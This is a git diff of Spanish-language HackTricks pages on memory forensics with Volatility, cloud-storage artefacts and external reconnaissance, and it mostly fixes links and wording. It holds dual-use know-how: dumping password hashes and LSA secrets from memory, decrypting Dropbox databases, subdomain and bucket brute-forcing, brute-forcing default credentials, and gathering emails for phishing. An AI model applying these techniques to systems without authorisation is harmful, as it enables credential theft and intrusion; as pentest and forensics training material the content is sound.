El **bloque de depuración del núcleo**, conocido como **KDBG** por Volatility, es crucial para las tareas forenses realizadas por Volatility y varios depuradores. Identificado como `KdDebuggerDataBlock` y del tipo `_KDDEBUGGER_DATA64`, contiene referencias esenciales como `PsActiveProcessHead`. Esta referencia específica apunta a la cabeza de la lista de procesos, lo que permite listar todos los procesos, lo cual es fundamental para un análisis exhaustivo de la memoria.
|
||||
|
||||
## Información del SO
|
||||
## OS Information
|
||||
```bash
|
||||
#vol3 has a plugin to give OS information (note that imageinfo from vol2 will give you OS info)
|
||||
./vol.py -f file.dmp windows.info.Info
|
||||
@ -133,7 +133,7 @@ El plugin `banners.Banners` se puede usar en **vol3 para intentar encontrar bann
|
||||
|
||||
## Hashes/Contraseñas
|
||||
|
||||
Extraer hashes SAM, [credenciales en caché de dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) y [secretos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/#lsa-secrets).
|
||||
Extraer hashes SAM, [credenciales en caché de dominio](../../../windows-hardening/stealing-credentials/credentials-protections.md#cached-credentials) y [secretos lsa](../../../windows-hardening/authentication-credentials-uac-and-efs/index.html#lsa-secrets).
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="vol3"}}
|
||||
@ -520,7 +520,10 @@ volatility --profile=SomeLinux -f file.dmp linux_find_file -i 0xINODENUMBER -O /
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
### Tabla Maestra de Archivos
|
||||
### Tabla de Archivos Maestra
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="vol3"}}
|
||||
```bash
|
||||
# I couldn't find any plugin to extract this information in volatility3
|
||||
```
|
||||
@ -533,7 +536,7 @@ volatility --profile=Win7SP1x86_23418 mftparser -f file.dmp
|
||||
{{#endtab}}
|
||||
{{#endtabs}}
|
||||
|
||||
El **sistema de archivos NTFS** utiliza un componente crítico conocido como la _tabla maestra de archivos_ (MFT). Esta tabla incluye al menos una entrada para cada archivo en un volumen, cubriendo también la MFT. Detalles vitales sobre cada archivo, como **tamaño, marcas de tiempo, permisos y datos reales**, están encapsulados dentro de las entradas de la MFT o en áreas externas a la MFT pero referenciadas por estas entradas. Se pueden encontrar más detalles en la [documentación oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
|
||||
El **sistema de archivos NTFS** utiliza un componente crítico conocido como la _tabla maestra de archivos_ (MFT). Esta tabla incluye al menos una entrada para cada archivo en un volumen, cubriendo también la MFT. Detalles vitales sobre cada archivo, como **tamaño, marcas de tiempo, permisos y datos reales**, están encapsulados dentro de las entradas de la MFT o en áreas externas a la MFT pero referenciadas por estas entradas. Más detalles se pueden encontrar en la [documentación oficial](https://docs.microsoft.com/en-us/windows/win32/fileio/master-file-table).
|
||||
|
||||
### Claves/Certificados SSL
|
||||
|
||||
@ -661,6 +664,9 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp handles -p <PID> -t mutant
|
||||
{{#endtabs}}
|
||||
|
||||
### Symlinks
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="vol3"}}
|
||||
```bash
|
||||
./vol.py -f file.dmp windows.symlinkscan.SymlinkScan
|
||||
```
|
||||
@ -675,7 +681,7 @@ volatility --profile=Win7SP1x86_23418 -f file.dmp symlinkscan
|
||||
|
||||
### Bash
|
||||
|
||||
Es posible **leer de la memoria el historial de bash.** También podrías volcar el archivo _.bash_history_, pero fue deshabilitado, estarás contento de poder usar este módulo de volatilidad.
|
||||
Es posible **leer la historia de bash desde la memoria.** También podrías volcar el archivo _.bash_history_, pero fue deshabilitado, estarás contento de poder usar este módulo de volatilidad.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="vol3"}}
|
||||
@ -749,7 +755,7 @@ volatility --profile=Win7SP1x86_23418 mbrparser -f file.dmp
|
||||
```
|
||||
El **Master Boot Record (MBR)** juega un papel crucial en la gestión de las particiones lógicas de un medio de almacenamiento, que están estructuradas con diferentes [file systems](https://en.wikipedia.org/wiki/File_system). No solo contiene información sobre el diseño de las particiones, sino que también incluye código ejecutable que actúa como un cargador de arranque. Este cargador de arranque inicia directamente el proceso de carga de segunda etapa del sistema operativo (ver [second-stage boot loader](https://en.wikipedia.org/wiki/Second-stage_boot_loader)) o trabaja en armonía con el [volume boot record](https://en.wikipedia.org/wiki/Volume_boot_record) (VBR) de cada partición. Para un conocimiento más profundo, consulta la [MBR Wikipedia page](https://en.wikipedia.org/wiki/Master_boot_record).
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/](https://andreafortuna.org/2017/06/25/volatility-my-own-cheatsheet-part-1-image-identification/)
|
||||
- [https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html](https://scudette.blogspot.com/2012/11/finding-kernel-debugger-block.html)
|
||||
|
||||
@ -2,7 +2,6 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## OneDrive
|
||||
|
||||
En Windows, puedes encontrar la carpeta de OneDrive en `\Users\<username>\AppData\Local\Microsoft\OneDrive`. Y dentro de `logs\Personal` es posible encontrar el archivo `SyncDiagnostics.log` que contiene algunos datos interesantes sobre los archivos sincronizados:
|
||||
@ -23,7 +22,7 @@ Una vez que hayas encontrado el CID, se recomienda **buscar archivos que conteng
|
||||
En Windows, puedes encontrar la carpeta principal de Google Drive en `\Users\<username>\AppData\Local\Google\Drive\user_default`\
|
||||
Esta carpeta contiene un archivo llamado Sync_log.log con información como la dirección de correo electrónico de la cuenta, nombres de archivos, marcas de tiempo, hashes MD5 de los archivos, etc. Incluso los archivos eliminados aparecen en ese archivo de registro con su correspondiente MD5.
|
||||
|
||||
El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos** **sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
|
||||
El archivo **`Cloud_graph\Cloud_graph.db`** es una base de datos sqlite que contiene la tabla **`cloud_graph_entry`**. En esta tabla puedes encontrar el **nombre** de los **archivos sincronizados**, tiempo de modificación, tamaño y el checksum MD5 de los archivos.
|
||||
|
||||
Los datos de la tabla de la base de datos **`Sync_config.db`** contienen la dirección de correo electrónico de la cuenta, la ruta de las carpetas compartidas y la versión de Google Drive.
|
||||
|
||||
@ -65,7 +64,7 @@ Luego puedes usar la herramienta [**DataProtectionDecryptor**](https://nirsoft.n
|
||||
|
||||
.png>)
|
||||
|
||||
Si todo sale como se espera, la herramienta indicará la **clave principal** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef](<https://gchq.github.io/CyberChef/#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) poniendo la clave principal como la "frase de paso" dentro de la receta.
|
||||
Si todo sale como se espera, la herramienta indicará la **clave principal** que necesitas **usar para recuperar la original**. Para recuperar la original, simplemente usa esta [receta de cyber_chef](<https://gchq.github.io/CyberChef/index.html#recipe=Derive_PBKDF2_key(%7B'option':'Hex','string':'98FD6A76ECB87DE8DAB4623123402167'%7D,128,1066,'SHA1',%7B'option':'Hex','string':'0D638C092E8B82FC452883F95F355B8E'%7D)>) poniendo la clave principal como la "frase de paso" dentro de la receta.
|
||||
|
||||
El hex resultante es la clave final utilizada para encriptar las bases de datos que se puede descifrar con:
|
||||
```bash
|
||||
@ -89,7 +88,7 @@ La base de datos **`filecache.db`** contiene información sobre todos los archiv
|
||||
Otras tablas dentro de esta base de datos contienen información más interesante:
|
||||
|
||||
- **block_cache**: hash de todos los archivos y carpetas de Dropbox
|
||||
- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID de archivo en la tabla `file_journal`
|
||||
- **block_ref**: Relaciona el ID de hash de la tabla `block_cache` con el ID del archivo en la tabla `file_journal`
|
||||
- **mount_table**: Carpetas compartidas de Dropbox
|
||||
- **deleted_fields**: Archivos eliminados de Dropbox
|
||||
- **date_added**
|
||||
|
||||
@ -57,8 +57,8 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
En este punto conocemos **todos los activos dentro del alcance**, así que si se te permite, podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
|
||||
También podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** echar un vistazo en este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas listas de** nombres de usuario **y** contraseñas **por defecto y tratar de** hacer fuerza bruta a los servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
|
||||
**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
|
||||
|
||||
## Dominios
|
||||
|
||||
@ -82,7 +82,7 @@ También puedes usar una herramienta en línea para esta información: [http://p
|
||||
|
||||
### **Reverse Whois (loop)**
|
||||
|
||||
Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
|
||||
Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
|
||||
Puedes usar herramientas en línea como:
|
||||
|
||||
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
|
||||
@ -90,10 +90,10 @@ Puedes usar herramientas en línea como:
|
||||
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
|
||||
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
|
||||
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
|
||||
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No gratis (solo **100 gratis** búsquedas)
|
||||
- [https://www.domainiq.com/](https://www.domainiq.com) - No gratis
|
||||
|
||||
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\
|
||||
Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
|
||||
También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
|
||||
|
||||
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
|
||||
@ -139,7 +139,7 @@ fhash = mmh3.hash(favicon)
|
||||
print(f"{url} : {fhash}")
|
||||
return fhash
|
||||
```
|
||||
### **Copyright / Cadena única**
|
||||
### **Copyright / Uniq string**
|
||||
|
||||
Busca dentro de las páginas web **cadenas que podrían ser compartidas entre diferentes webs en la misma organización**. La **cadena de copyright** podría ser un buen ejemplo. Luego busca esa cadena en **google**, en otros **navegadores** o incluso en **shodan**: `shodan search http.html:"Copyright string"`
|
||||
|
||||
@ -150,16 +150,16 @@ Es común tener un trabajo cron como
|
||||
# /etc/crontab
|
||||
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
|
||||
```
|
||||
para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
|
||||
Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
|
||||
|
||||
### Información de Mail DMARC
|
||||
|
||||
Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
|
||||
Puedes usar una web como [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) o una herramienta como [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) para encontrar **dominios y subdominios que comparten la misma información de dmarc**.
|
||||
|
||||
### **Toma Pasiva**
|
||||
|
||||
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) en realidad estarás **tomando algunos subdominios**.
|
||||
Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
|
||||
|
||||
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
|
||||
|
||||
@ -169,19 +169,19 @@ Aparentemente es común que las personas asignen subdominios a IPs que pertenece
|
||||
|
||||
**Shodan**
|
||||
|
||||
Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados para nuevos dominios inesperados en el certificado TLS.
|
||||
Como ya conoces el nombre de la organización que posee el espacio IP. Puedes buscar por esos datos en shodan usando: `org:"Tesla, Inc."` Revisa los hosts encontrados en busca de nuevos dominios inesperados en el certificado TLS.
|
||||
|
||||
Podrías acceder al **certificado TLS** de la página web principal, obtener el **nombre de la organización** y luego buscar ese nombre dentro de los **certificados TLS** de todas las páginas web conocidas por **shodan** con el filtro: `ssl:"Tesla Motors"` o usar una herramienta como [**sslsearch**](https://github.com/HarshVaragiya/sslsearch).
|
||||
|
||||
**Assetfinder**
|
||||
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante asombroso.
|
||||
[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante.
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Tal vez alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
|
||||
Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando un dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
|
||||
|
||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
&#xNAN;_Note que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
|
||||
## Subdominios
|
||||
@ -195,7 +195,7 @@ Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
|
||||
|
||||
### **DNS**
|
||||
|
||||
Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar por **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
|
||||
Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
|
||||
```bash
|
||||
dnsrecon -a -d tesla.com
|
||||
```
|
||||
@ -319,7 +319,7 @@ Este proyecto ofrece **gratis todos los subdominios relacionados con programas d
|
||||
|
||||
Puedes encontrar una **comparación** de muchas de estas herramientas aquí: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off)
|
||||
|
||||
### **Fuerza bruta DNS**
|
||||
### **Fuerza bruta de DNS**
|
||||
|
||||
Intentemos encontrar nuevos **subdominios** forzando servidores DNS usando posibles nombres de subdominio.
|
||||
|
||||
@ -333,19 +333,19 @@ Para esta acción necesitarás algunas **listas de palabras comunes de subdomini
|
||||
|
||||
Y también IPs de buenos resolutores DNS. Para generar una lista de resolutores DNS de confianza, puedes descargar los resolutores de [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) y usar [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) para filtrarlos. O podrías usar: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt)
|
||||
|
||||
Las herramientas más recomendadas para fuerza bruta DNS son:
|
||||
Las herramientas más recomendadas para fuerza bruta de DNS son:
|
||||
|
||||
- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
|
||||
- [**massdns**](https://github.com/blechschmidt/massdns): Esta fue la primera herramienta que realizó una fuerza bruta de DNS efectiva. Es muy rápida, sin embargo, es propensa a falsos positivos.
|
||||
```bash
|
||||
sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
|
||||
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
|
||||
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
|
||||
```
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolutor
|
||||
- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
|
||||
```
|
||||
gobuster dns -d mysite.com -t 50 -w subdomains.txt
|
||||
```
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando bruteforce activo, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||
- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) es un envoltorio alrededor de `massdns`, escrito en go, que te permite enumerar subdominios válidos utilizando fuerza bruta activa, así como resolver subdominios con manejo de comodines y soporte fácil de entrada-salida.
|
||||
```
|
||||
shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
|
||||
```
|
||||
@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
|
||||
|
||||
#### Generación de permutaciones inteligentes
|
||||
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente tomará las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
|
||||
- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
|
||||
```bash
|
||||
python3 main.py adobe.com adobe adobe.rules
|
||||
make_brute_list.sh adobe.rules adobe.brute
|
||||
@ -399,7 +399,7 @@ puredns resolve adobe.brute --write adobe.valid
|
||||
```
|
||||
echo www | subzuf facebook.com
|
||||
```
|
||||
### **Flujo de Trabajo de Descubrimiento de Subdominios**
|
||||
### **Flujo de Trabajo para el Descubrimiento de Subdominios**
|
||||
|
||||
Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
|
||||
|
||||
@ -438,7 +438,7 @@ VHostScan -t example.com
|
||||
> [!NOTE]
|
||||
> Con esta técnica, incluso podrías acceder a endpoints internos/ocultos.
|
||||
|
||||
### **CORS Brute Force**
|
||||
### **Fuerza Bruta CORS**
|
||||
|
||||
A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**.
|
||||
```bash
|
||||
@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
|
||||
```
|
||||
### **Fuerza Bruta de Buckets**
|
||||
|
||||
Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/)**.**\
|
||||
Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
### **Monitorización**
|
||||
|
||||
@ -455,16 +455,16 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Verifica posibles [**tomas de subdominio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
|
||||
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/).
|
||||
|
||||
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
|
||||
&#xNAN;_Note que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, así que no está en el alcance, ten cuidado._
|
||||
|
||||
## IPs
|
||||
|
||||
En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
|
||||
Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
|
||||
Es hora de **recolectar todas las IPs de esos rangos** y de los **dominios/subdominios (consultas DNS).**
|
||||
|
||||
Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
|
||||
|
||||
@ -482,12 +482,12 @@ También puedes verificar dominios que apuntan a una dirección IP específica u
|
||||
|
||||
> Hemos encontrado todas las empresas y sus activos y conocemos rangos de IP, dominios y subdominios dentro del alcance. Es hora de buscar servidores web.
|
||||
|
||||
En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que puede que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
|
||||
En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento de las IPs y dominios descubiertos**, así que es posible que ya hayas **encontrado todos los posibles servidores web**. Sin embargo, si no lo has hecho, ahora vamos a ver algunos **trucos rápidos para buscar servidores web** dentro del alcance.
|
||||
|
||||
Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, así que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
|
||||
|
||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/#http-port-discovery).\
|
||||
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Adicionalmente, puedes indicar que intente otros puertos:
|
||||
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
|
||||
Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
|
||||
```bash
|
||||
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
|
||||
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
|
||||
@ -510,7 +510,7 @@ También necesitarás listas de palabras de **palabras comunes utilizadas en buc
|
||||
- [https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt](https://raw.githubusercontent.com/infosec-au/altdns/master/words.txt)
|
||||
- [https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt](https://raw.githubusercontent.com/jordanpotti/AWSBucketDump/master/BucketNames.txt)
|
||||
|
||||
Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](./#second-dns-bruteforce-round) para más información).
|
||||
Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Segundo Ronda de Fuerza Bruta DNS**](#second-dns-bruteforce-round) para más información).
|
||||
|
||||
Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
|
||||
|
||||
@ -518,7 +518,7 @@ Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets e
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
|
||||
Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
|
||||
|
||||
## Correos Electrónicos
|
||||
|
||||
@ -531,11 +531,11 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
|
||||
|
||||
### **Buscando vulnerabilidades**
|
||||
|
||||
Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
|
||||
Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
|
||||
|
||||
## Filtraciones de Credenciales
|
||||
|
||||
Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos:
|
||||
